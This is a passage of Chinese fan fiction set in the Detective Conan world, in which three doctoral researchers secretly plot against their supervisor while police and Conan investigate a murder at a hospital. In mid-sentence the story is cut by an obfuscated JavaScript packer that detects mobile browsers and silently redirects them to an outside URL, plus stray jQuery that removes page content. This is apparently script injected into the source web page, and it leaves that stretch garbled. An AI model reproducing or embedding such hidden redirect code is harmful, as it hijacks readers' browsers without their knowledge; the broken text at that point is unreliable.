“你明明是我们之中第一个发现他真面目的人。”早川真央面色如常甚至还带着一丝笑意,她轻轻挽了鬓边的发丝,遮住了唇边倏然出现的冷笑。
“抱歉,如果我早些采取行动,或许这些事情就根本不会发生了。”真狩朔将双肘撑在了双膝上,他垂下脑袋,经过了一夜,本该打理整齐的背头随着他的动作牵引,细碎的发丝彻底散落在额间。
早川真央立刻就心软了,她叹了一口气,语中的冰冷也随着一同融化,”笨蛋,你有什么错。我们要做的是让真正的作恶者付出代价。“
被头发掩住表情的真狩朔微微阖上了双眼,早川真央看着他的宽阔的背脊。
钢琴前的白波海斗似乎兴致又起,他手腕移动,指尖掠过的琴键像是波浪,将巴赫的BWV1006E大调重新编曲修饰,再次弹奏了起来。
两人之间有着半分钟的沉默,似乎都在欣赏着白波海斗的即兴发挥。
“警察那边……”
“他们似乎觉得是白波蓄意谋害。”真狩朔已经重新整理好了情绪。
早川真央皱起了眉。
“警察在被害者身上找到了白波寄给我的手稿。白波家也没有被撬锁的痕迹。”真狩朔解释道。
“所以就认为是白波受到了被害者要挟后不妥协,决定主动下杀手吗?”不愧是研究所内天赋异禀才智过人的研究员,早川真央一点就透。
“呵,果然是一帮废物,就算是要杀人,白波也不可能设置这么粗糙的杀人手法。”
真狩朔也被她的话逗笑了,但他似乎有些欲言又止,摇了摇头还是道:“关键是手稿的内容,正是这次发布会上分子生物验证法的漏洞。”
“!”早川真央一惊,她和真狩朔在这一刻第一次完成了同谋者的对视。
“看来计划要提前了。”早川真央再次把目光转回到白波的背影上,她听着走到尾声的音乐摘下了墨镜。
“这不是一个很完美的时间吗?”真狩朔也动了动肩膀,调整起了表情反问道。
他停顿了一下,然后道:“今天应该会有警员联系你。接下来的事就交给你了。”
“放心吧。”
一曲毕,音乐声戛然而止,真狩朔和早川真央立刻扬起了微笑,同时鼓起了掌。
当华原弘胜引着几人走进住院部的时候,首先听到的是一阵乱糟糟的琴声。
其实也不算很乱……就像是被揉捏了的磁带发出的声音,先是一小段一小段和谐的段落。
“诶,真狩你差点打到我的脸。”
“啊,对不起。早川你段该是我的吧。”
“不对啊,是白波抢了我们的。”
“啧,拉小提琴的就是麻烦。”白波吐槽,放弃了三人弹四手联弹的想法,转头看向游刃有余的早川真央,对真狩朔道:“你看人家真央,没学过乐器,第一次弹琴都弹的比你好。”
早川真央不明就里,疑惑道:“什么意思?琴键在这,谱子在那,照着按不就行了。”
……两句话,打击了两个会乐器的普通人。
“真央,以后我们凡人的讨论就请你不要参与了。”真狩朔道。
早川真央撇撇嘴。
“啊哈哈哈,华原所长你的手下还真是人才济济啊。”毛利小五郎一行人出现在了入口处。
华原弘胜的面色则是有些尴尬,他没有想到今早在酒店餐厅里遇见时,早川真央口中的有事是指,来和她的另外两个同窗弹这么一首乱糟糟的钢琴曲。
“哪里哪里。”他一边应和着毛利小五郎的夸赞,一边对着坐在钢琴前的白波海斗道:”海斗,我给你带了早餐,来用一些吧。“
三位博士生之间的氛围被打破了,三位俊男美女忽然陷入了安静,忽然齐齐转头盯住华原弘胜。那种氛围即使是让刚刚跨入住院部大门的几人都是一滞。
真狩朔轻轻按住了白波海斗的肩膀。
“啊啦,早餐的话真狩已经带我去吃过了哦。”白波海斗打破了寂静。
然后是打圆场转移话题的真狩朔,“没想到大家竟然都来了医院,真巧啊。”
早川真央微微皱眉打量着随华原弘胜一起进来的毛利父女,以及晚到一步的长野三人组和柯南。
“我们是想要提前过来看看白波先生的状况,顺便做一些笔录。”上原由衣站了出来,显然也是没有想到约好晚些在警局见面的众人,会提前在医院到齐了。
“既然如此,那我就先告辞了。”早川真央点头致意,说完就径直朝着门口走去,门口站着的三位刑警都没能吸引她的一丝目光。
华原弘胜尴尬的举着早餐,幸好诸伏高明打破了他的尴尬。
“刚刚那位是?”
“奥……那也是我的博士生之一,早川君,早川真央,她的年纪还小,让诸位见笑了。”华原弘胜道。
上原由衣的目光动了一下,开口道:“早川小姐的年纪看起来小很多呢,已经是博士了吗?”
“早川很聪明,才24岁就能和我们这群29岁的老博士一起毕业了。尤其是这次的分子生物学研究也是由她负责的。”真狩朔和上原由衣的目光短暂接触了一下。
两人之间的互动稍纵即逝,但依旧被时刻关注着的大和敢助看了个正着,他压下心中疑惑直接道:“劳烦白波先生先配合我们的调查。”
白波海斗微微皱了皱眉。
“请不要担心,考虑到您的身体状况,这一次正式的口供笔录会在您的病房里进行,也不会有旁人的干预。”上原由衣道。
“既然如此,那也好。”白波海斗给了真狩朔一个不要担心的眼神,便和大和敢助、上原由衣一起回了病房。
少了一个当事人,两个警察,现场的气氛似乎好多了。毛利兰微笑道:“真狩先生和白波先生的关系真的很好呢,本来以为我们已经来的够早了,没想到到的时候真狩先生早就来了。”
真狩朔笑了笑。
“依我看,真狩先生是昨晚就到了医院守了白波先生很久吧。”诸伏高明道。
“诶?”毛利兰惊讶,就连华原弘胜也愣怔的望了过来。
“是呀,从昨晚开始真狩哥哥的精神就很不好,但头发和衣服依旧打理的很好,可见哥哥是个很注重自身形象的人吧。”柯南走进了真狩朔,探了探头,“可是现在哥哥的发型也散了,就连昨晚的礼服也没有换只是脱下了外套,里面的衬衫还是皱皱的,就连香水都没有喷……呃”
柯南的话戛然而止,因为他发现真狩朔正在用很奇妙的目光注视着他。
糟、糟糕,和三位长野县警在一起时间长了,得意忘形了。
“请您不要在意,柯南这孩子就是喜欢玩侦探游戏。”毛利兰立刻跑上前来握住了柯南的手,歉意的对着真狩朔尴尬道。
……真狩朔其实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114088|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是在意这个,毕竟身处国内最顶尖的鉴定研究所,天才他见得实在太多,刚刚先行一步的早川真央就是最好的例子。
男人笑了笑,他的手不由自主的扯了一下衬衫领口,“柯南君和高明警官说得没错,是我失礼了。”真狩朔说完微微欠身致意了一下,转身离开了。
真狩朔走到了洗手间的镜子前,镜子中的男人肤色有些苍白,发丝凌乱的垂在额间,三七分的头发下微微盖住了左眼,却露出了眼睑微红的右眼,眼下则是一片青黑。加上泛白的嘴唇,浅色的瞳孔……
“唉……”男人打湿了双手往脸上扑了点冷水,随后无力的捂住了面颊,“真是的,怎么成了这个样子。早川也是,一看到白波就完全忘记看我了,两个人都不提醒我一下。”
忽然,真狩朔的肩膀被拍了两下。真狩朔瞳孔一缩,下一秒他就握住了来人的手腕。
“嘶……”早川真央吃痛的倒吸了一口凉气。
“早川,你没走啊?”真狩朔立刻触电般的松开了手,还未来得及拭去的水珠划过了他的眉骨落在了他的睫毛上,湿漉漉的黏成一片像把小扇子。
早川真央抬手又给了他一拳,没好气的揉着手腕,“我刚刚好像听到某人在背地里说我的坏话?”
“唔……你听错了吧?”真狩朔笑了。
早川真央也不过多纠缠这一点,递出了拿在手中的袋子。
真狩朔懵懵的接过。
“哼,可别说我没想着你。”早川真央移了个位置,面对着镜子给自己重新扎了个丸子头,嘴里叼着皮筋含糊不清的说:“你的发胶还有新衬衫都给你带过来了,哦,还有香水,你的我找不着在哪,就先用我的将就一下吧。”
长得十分冷峻的大帅哥露出了十分温暖的微笑。
早川真央早就对这张脸免疫了,眼珠都没有转动一下,她用水打湿了指尖给自己的刘海捏了个流畅的弧度后这才回过了身,面对着真狩朔上上下下打量一番,良久之后她缓缓张开了双臂。
“要拥抱一下吗?”
话音刚落,男人就抱了上来。
躲在立柱后的诸伏高明和柯南相视一眼,默默回去了。
真狩朔比早川真央高上很多,早川真央把脸埋在他的肩窝里透过镜子看着这一幕,眼中的冷漠一闪而逝。
随后她眼神一动轻轻眨了一下眼,眼神很快温柔下来,揉了揉男人毛茸茸的发顶,说出来的话和她温柔的动作却不太相符。
“我考虑了一下,这次招待会的结束时间是明晚,我会想办法拖住宾客们,你想办法让华原明晚在酒店宴会上露个面。”
早川真央等了一会儿没听到回音,她耐心等了一会却听见真狩朔闷闷的声音传来,“为什么现在才给我送衣服?”
理科直女僵硬了一下。
“你刚刚来医院的时候好像只带着鲜花吧。”真狩朔彻底缓过来了,继续问道。
早川真央推开了他,嫌弃道:“你身上怎么又是一股烟味,不是说戒烟了吗?”
“又转移话题。”真狩朔看了早川真央一眼,拆开行李袋对着镜子梳理头发抹上发胶。
早川真央摸了摸鼻子,“咳,忘在出租车上了,刚刚司机才给送回来。”
真狩朔把刘海重新固定好,露出了光洁的额头,他垂着眼睛微笑道:“拖住他们的借口就用你的研究方法吧。”
“……好。”